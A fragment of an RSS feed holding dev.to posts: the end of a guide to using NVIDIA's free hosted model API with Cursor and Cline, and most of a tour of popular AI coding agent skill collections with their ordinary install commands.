target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;longer article&lt;/a&gt; where I tried multiple free AI models on Cursor and VS Code, through Cline.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jzt302rwfr58k0dk6ui.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6jzt302rwfr58k0dk6ui.png&quot; alt=&quot;NVIDIA Build Catalog&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;423&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The service is called NVIDIA NIM e.g. NVIDIA Inference Microservices.&lt;br&gt;
It lives at build.nvidia.com.&lt;/p&gt;

&lt;p&gt;The catalog contains over 100 AI models, many of them free and hosted on NVIDIA&#39;s own DGX Cloud infrastructure. The list includes names you already know:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MiniMax,&lt;/li&gt;
&lt;li&gt;Kimi,&lt;/li&gt;
&lt;li&gt;DeepSeek,&lt;/li&gt;
&lt;li&gt;GLM,&lt;/li&gt;
&lt;li&gt;GPT-OSS, and more.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  &lt;a name=&quot;get-your-free-apinbspkey&quot; href=&quot;https://dev.to/lorenzojkrl/stop-paying-20month-use-nvidia-build-80-free-ai-models-17ih#get-your-free-apinbspkey&quot;&gt;
  &lt;/a&gt;
  Get Your Free API&amp;nbsp;Key
&lt;/h2&gt;

&lt;p&gt;Just go to build.nvidia.com and create a free account. You&#39;ll need to verify your email and possibly your phone number.&lt;/p&gt;

&lt;p&gt;Once you&#39;re in, navigate to your account settings and generate an API key. Save it, because you only see it once. It looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;nvapi-xxxxxxxxxxxxxxxx
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;You get 1,000 free inference credits on signup, with up to 5,000 available on request, and a rate limit of 40 requests per minute. No credit card required.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;use-the-api-key-with-cursor&quot; href=&quot;https://dev.to/lorenzojkrl/stop-paying-20month-use-nvidia-build-80-free-ai-models-17ih#use-the-api-key-with-cursor&quot;&gt;
  &lt;/a&gt;
  Use the API key with Cursor
&lt;/h3&gt;

&lt;p&gt;Read about some of the &lt;a href=&quot;https://blog.gopenai.com/stop-paying-20-month-use-nvidia-build-80-free-ai-models-0b08205f91b5?sk=e3dec0158ca29b1c2f1231e5dc6b0eab&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;issues with Cursor&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In Cursor, go to Settings → Models, enable the OpenAI API key toggle, paste &lt;a href=&quot;https://integrate.api.nvidia.com/v1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://integrate.api.nvidia.com/v1&lt;/a&gt; as the override base URL, and add your nvapi- key.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu5h6964qbufpxppu2ym.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmu5h6964qbufpxppu2ym.png&quot; alt=&quot;Using an API key with Cursor&quot; loading=&quot;lazy&quot; width=&quot;606&quot; height=&quot;285&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;use-the-api-key-with-cline&quot; href=&quot;https://dev.to/lorenzojkrl/stop-paying-20month-use-nvidia-build-80-free-ai-models-17ih#use-the-api-key-with-cline&quot;&gt;
  &lt;/a&gt;
  Use the API key with Cline
&lt;/h3&gt;

&lt;p&gt;Setup takes under two minutes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install Cline from the VS Code or Cursor Marketplace&lt;/li&gt;
&lt;li&gt;Open Cline settings and select OpenAI Compatible as the provider&lt;/li&gt;
&lt;li&gt;Set the base URL to &lt;a href=&quot;https://integrate.api.nvidia.com/v1&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;https://integrate.api.nvidia.com/v1&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Paste your &lt;code&gt;nvapi-&lt;/code&gt; key&lt;/li&gt;
&lt;li&gt;Enter the model ID from the NVIDIA catalog (e.g. moonshotai/kimi-k2.6). Remember to get an API key for the model.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcrm0na73q6mzjpnhykgz.png&quot; class=&quot;article-body-image-wrapper&quot;&gt;&lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcrm0na73q6mzjpnhykgz.png&quot; alt=&quot;Using an API key with Cline&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;341&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;


            </description><link>https://dev.to/lorenzojkrl/stop-paying-20month-use-nvidia-build-80-free-ai-models-17ih</link><guid isPermaLink="false">https://dev.to/lorenzojkrl/stop-paying-20month-use-nvidia-build-80-free-ai-models-17ih</guid><pubDate>Wed, 17 Jun 2026 10:08:29 GMT</pubDate><author>Lorenzo Zarantonello</author><category>ai</category><category>nvidia</category><category>llm</category><category>programming</category></item><item><title>The most popular AI coding skills right now</title><description>&lt;h2&gt;
  &lt;a name=&quot;introduction&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#introduction&quot;&gt;
  &lt;/a&gt;
  Introduction
&lt;/h2&gt;

&lt;p&gt;It&#39;s crazy to me that some GitHub repos, that were just created in the last year, have more stars then some of the most popular programming frameworks out there. At the time of writing, &lt;a href=&quot;https://github.com/obra/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Superpowers&lt;/a&gt;, is around 226,000, ahead of the Vue repo and way ahead of Next.js. A separate repo based on Andrej Karpathy&#39;s coding advice has 174,000. And they aren&#39;t even code. They&#39;re folders of markdown files that tell your AI coding agent how to write software better.&lt;/p&gt;

&lt;p&gt;In other words these are agent skills, and they&#39;ve blown up over the past year into one of the most-starred new categories of developer tooling. The format started at Anthropic, a &lt;code&gt;SKILL.md&lt;/code&gt; file with a short description and a set of instructions, and now it works in Claude Code, &lt;a href=&quot;https://kiro.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Kiro&lt;/a&gt; and all your other favorite coding agents.&lt;/p&gt;

&lt;p&gt;This post is a tour of some of the skills I find most interesting that people are using everyday. I&#39;ll be in Kiro for most of this, but these run in whatever agent you already have, with install paths that vary per agent.&lt;/p&gt;

&lt;p&gt;This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What an agent skill actually is&lt;/li&gt;
&lt;li&gt;The big workflow skills (Superpowers, Karpathy, Matt Pocock, GStack, GSD)&lt;/li&gt;
&lt;li&gt;Framework skills and the &quot;ships with your package&quot; model&lt;/li&gt;
&lt;li&gt;The Agent Toolkit for AWS&lt;/li&gt;
&lt;li&gt;How to pick one and try it safely&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you like, you can watch a &lt;a href=&quot;https://youtu.be/enWhBCyU36U?si=wySkthIQYr6592m5&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;full video&lt;/a&gt; on the subject instead! Also if nothing else, please check out the &lt;a href=&quot;https://github.com/aws/agent-toolkit-for-aws&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Agent Toolkit for AWS&lt;/a&gt;! More information below. &lt;em&gt;Full disclosure, I&#39;m a developer advocate for AWS&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;what-is-an-agent-skill&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#what-is-an-agent-skill&quot;&gt;
  &lt;/a&gt;
  What is an agent skill?
&lt;/h2&gt;

&lt;p&gt;A skill is a directory with a &lt;code&gt;SKILL.md&lt;/code&gt; file inside it. The file has a name, a one-line description, and instructions. These instructions include which steps to follow, which APIs to call, which mistakes to avoid and how to check the result.&lt;/p&gt;

&lt;p&gt;Skills should only run when needed. Your agent reads the short description, decides if the skill is relevant to what you asked, and only then loads the full instructions. Reference files load on demand after that. So you can have fifty skills installed and your context window stays clean, because the agent pulls in the two it needs and ignores the rest. &lt;em&gt;In practice, I&#39;ve found I still need to manually tell my agent to run the skills by using the &lt;code&gt;/&lt;/code&gt; command and the skill name. YMMV&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-big-workflow-skills&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#the-big-workflow-skills&quot;&gt;
  &lt;/a&gt;
  The big workflow skills
&lt;/h2&gt;

&lt;p&gt;Most of the popular general-purpose skills are trying to fix the problem agents often have, going in the wrong direction. Agents when left alone often rush in, touch too many files, and they skip planning. These five take different approaches to slowing it down.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;superpowers-obrasuperpowers&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#superpowers-obrasuperpowers&quot;&gt;
  &lt;/a&gt;
  Superpowers (obra/superpowers)
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/obra/superpowers&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Superpowers&lt;/a&gt; is the most-starred of the bunch and the most opinionated. It is a full development methodology that triggers automatically. It really reminds me of a super powered Spec-Driven Development (SDD) workflow. &lt;/p&gt;

&lt;p&gt;The moment the agent sees you are building something, it stops and asks what you are actually trying to do. It works a spec out of the conversation, shows it to you (optionally in a web browser), and only after you sign off does it write an implementation plan. Then it hands the plan to subagents that build and review each other&#39;s work. Be aware, this can eat up a lot of tokens.&lt;/p&gt;

&lt;p&gt;It is available through the official Claude plugin marketplace, plus Codex, Cursor, Gemini CLI, and a handful of others. You can also get it working with Kiro by from &lt;a href=&quot;https://www.skills.sh/obra/superpowers/brainstorming&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Skills.sh&lt;/a&gt;. Though, I&#39;d probably skip it if you&#39;re using Kiro, since most of the SDD is already there in Kiro. &lt;/p&gt;

&lt;p&gt;If you want one system that owns the whole loop from idea to reviewed code, this is the one to reach for. In Claude Code, install it from the official plugin marketplace:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;/plugin install superpowers@claude-plugins-official
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  &lt;a name=&quot;the-karpathy-guidelines-multicaaiandrejkarpathyskills&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#the-karpathy-guidelines-multicaaiandrejkarpathyskills&quot;&gt;
  &lt;/a&gt;
  The Karpathy guidelines (multica-ai/andrej-karpathy-skills)
&lt;/h3&gt;

&lt;p&gt;This one is almost the opposite. It is a short file of behavioral rules, now at &lt;a href=&quot;https://github.com/multica-ai/andrej-karpathy-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;174,000 stars&lt;/a&gt;. Andrej Karpathy did not write it, despite the name, which I find really funny. It is a community-built file derived from a January post where Karpathy listed the ways LLM coding agents tend to fail, and the repo later moved to the multica-ai org.&lt;/p&gt;

&lt;p&gt;The rules come down to four simple ideas. Think before coding, keep it simple, make surgical changes, and stay focused on the goal. If Superpowers feels like too much process for you, this is the low-commitment starting point. It is a single &lt;code&gt;CLAUDE.md&lt;/code&gt; (or AGENTS.md, or you can use it as a Skill), so the simplest install is to drop it into your project:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; CLAUDE.md https://raw.githubusercontent.com/multica-ai/andrej-karpathy-skills/main/CLAUDE.md
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Personally, I&#39;m not sure if this is worth it in my own testing. However, it&#39;s easy enough to add it to your own &lt;code&gt;CLAUDE.md&lt;/code&gt; or &lt;code&gt;AGENTS.md&lt;/code&gt; so give it a shot though and make your own opinion.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;matt-pococks-skills-mattpocockskills&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#matt-pococks-skills-mattpocockskills&quot;&gt;
  &lt;/a&gt;
  Matt Pocock&#39;s skills (mattpocock/skills)
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/mattpocock/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Matt Pocock&#39;s collection&lt;/a&gt; sits in the middle and takes a deliberate stance against the all-in-one systems. In fact, he&#39;s often said he doesn&#39;t like SDD, and thinks it&#39;s too cumbersome. His framing is that approaches which own your entire process also take away your control and make bugs in that process hard to fix. So his skills are small, composable, and easy to adapt. You install the ones you want with the Vercel &lt;code&gt;skills&lt;/code&gt; CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npx skills@latest add mattpocock/skills
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;His most popular one, and the one I like the most, is the &lt;code&gt;grill-me&lt;/code&gt;, which makes the agent interview you about what you are building before it writes anything. There is a more powerful version, &lt;code&gt;grill-with-docs&lt;/code&gt;, that does the same interview and also builds a shared-language document for your project. The repo&#39;s pitch is that this shared-language document pays off across sessions. There is also &lt;code&gt;tdd&lt;/code&gt; for a red-green-refactor loop, &lt;code&gt;diagnose&lt;/code&gt; for debugging, and &lt;code&gt;improve-codebase-architecture&lt;/code&gt; for rescuing a project that has turned into spaghetti.&lt;/p&gt;

&lt;p&gt;Another skill called &lt;code&gt;caveman&lt;/code&gt; helps reduce token costs. I find the &lt;code&gt;caveman&lt;/code&gt; and &lt;code&gt;grill-me&lt;/code&gt; skills the most useful. Though, I find &lt;code&gt;grill-me&lt;/code&gt; a little annoying after a while, when I just want to get something done. &lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;gstack-garrytangstack&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#gstack-garrytangstack&quot;&gt;
  &lt;/a&gt;
  GStack (garrytan/gstack)
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GStack&lt;/a&gt; is Garry Tan&#39;s Claude Code setup, and at nearly 110,000 stars it is one of the most popular skill collections out there. Instead of one mode that handles everything, it gives the agent distinct roles, each behind its own slash command. It has product vision, designer, engineering manager, release manager, doc engineer, QA, and post-launch retrospective. It is the same genre as Superpowers, a full workflow, but organized around the roles on a software team rather than a sequence of phases. If you think in terms of &quot;who would handle this part,&quot; GStack maps to that mental model nicely. It installs with a clone and a setup script (pass &lt;code&gt;--host kiro&lt;/code&gt;, &lt;code&gt;--host cursor&lt;/code&gt;, and so on for other agents):&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;git clone &lt;span class=&quot;nt&quot;&gt;--single-branch&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 1 https://github.com/garrytan/gstack.git ~/.claude/skills/gstack
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; ~/.claude/skills/gstack &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./setup
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;It also works with Kiro nicely.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;gsd-core-opengsdgsdcore&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#gsd-core-opengsdgsdcore&quot;&gt;
  &lt;/a&gt;
  GSD Core (open-gsd/gsd-core)
&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/open-gsd/gsd-core&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;GSD Core&lt;/a&gt; (Git. Ship. Done.) is a spec-driven system that pitches itself as a fix for context rot, the slow drop in quality as your context window fills up during a long session. It breaks work into atomic plans that run in fresh context windows, keeping the main session light while subagents do the heavy lifting. It targets more than a dozen agents. The project moved from the old &lt;code&gt;gsd-build&lt;/code&gt; org to its current home at &lt;code&gt;open-gsd/gsd-core&lt;/code&gt;, and the installer prompts for your runtime:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npx @opengsd/gsd-core@latest
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;While using this, I found that it burned through tokens fast. It also takes over your whole workflow, that I disliked. Still, it&#39;s worth trying out to see if it works well for your own personal projects.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;framework-skills-and-the-ships-with-your-package-model&quot; href=&quot;https://dev.to/aws/the-most-popular-ai-coding-skills-right-now-4183#framework-skills-and-the-ships-with-your-package-model&quot;&gt;
  &lt;/a&gt;
  Framework skills and the &quot;ships with your package&quot; model
&lt;/h2&gt;

&lt;p&gt;The skills above are framework-agnostic. The more interesting development for frontend folks is skills that know your specific stack.&lt;/p&gt;

&lt;p&gt;The Vue community moved early here. &lt;a href=&quot;https://github.com/vuejs-ai/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;vuejs-ai/skills&lt;/a&gt; is a community Vue 3 skills project (the README notes the author may propose transferring it to the Vue org), and its &lt;code&gt;vue-best-practices&lt;/code&gt; skill is a structured workflow covering the Composition API, reactivity, and the patterns you want a model to follow. &lt;a href=&quot;https://github.com/antfu/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthony Fu&#39;s collection&lt;/a&gt; covers Vue, Vite, Nuxt, Pinia, VueUse, and Vitest. Both install through the same CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npx skills add vuejs-ai/skills
npx skills add antfu/skills &lt;span class=&quot;nt&quot;&gt;--skill&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&#39;*&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The newer idea is shipping skills inside the package itself. Three things are worth knowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href=&quot;https://github.com/skilld-dev/skilld&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;skilld&lt;/a&gt; generates version-aware skills from the npm dependencies you already have, pulling from docs, release notes, and GitHub issues. It solves the problem where a model&#39;s training cutoff means it writes last year&#39;s version of your library.&lt;/li&gt;
&lt;li&gt;
&lt;a href=&quot;https://tanstack.com/intent&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;TanStack Intent&lt;/a&gt; (&lt;code&gt;@tanstack/intent&lt;/code&gt;) flips that around for maintainers. It lets library authors generate and ship &lt;code&gt;SKILL.md&lt;/code&gt; files inside their npm package, versioned with each release, so the skill updates when the library does. It launched recently and ties straight into the TanStack ecosystem.&lt;/li&gt;
